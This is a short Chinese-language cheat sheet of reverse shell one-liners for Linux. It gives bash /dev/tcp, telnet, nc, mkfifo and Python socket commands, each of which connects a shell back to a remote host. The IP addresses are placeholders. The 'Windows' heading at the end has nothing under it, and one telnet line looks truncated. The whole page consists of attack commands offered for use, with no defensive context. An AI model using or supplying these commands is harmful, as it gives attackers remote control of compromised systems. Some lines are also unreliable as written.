常见shell反弹姿势

Linux

bash -i >& /dev/tcp/x.x.x.x/port 0>&1　

telnet 192.168.217.135 4444 | /bin/bash | telnet 192.168.217.135 5555
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

nc -e -t /bin/bash ip port　
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Windows
